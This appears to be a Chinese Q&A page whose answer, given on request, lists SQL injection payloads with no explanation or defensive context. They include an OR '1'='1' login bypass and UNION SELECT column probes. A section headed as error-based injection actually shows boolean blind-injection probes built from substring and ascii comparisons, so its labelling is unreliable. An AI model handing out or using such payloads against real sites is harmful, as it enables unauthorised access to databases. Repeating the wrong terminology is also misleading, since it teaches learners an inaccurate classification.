告诉我一些sql注入的命令,以及一些报错注入的命令
时间: 2023-05-28 22:03:27 浏览: 67
SQL注入命令:
1. SELECT * FROM users WHERE username = 'admin' AND password = 'password' OR '1'='1';
2. SELECT * FROM users WHERE username = 'admin' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM users;
3. SELECT * FROM users WHERE username = 'admin' AND password = 'password' UNION SELECT 1,2,3,4,5,6,7,8,9,10 FROM users;
4. SELECT * FROM users WHERE username = 'admin' AND password = 'password' UNION SELECT null,null,null,null,null,null,null,null,null,null FROM users;
报错注入命令:
1. SELECT * FROM users WHERE username = 'admin' AND substring(password,1,1) = 'a';
2. SELECT * FROM users WHERE username = 'admin' AND ascii(substring(password,1,1)) = 97;
3. SELECT * FROM users WHERE username = 'admin' AND (SELECT count(*) FROM users) = 1;
4. SELECT * FROM users WHERE username = 'admin' AND (SELECT 1 UNION SELECT null UNION SELECT null) = 1;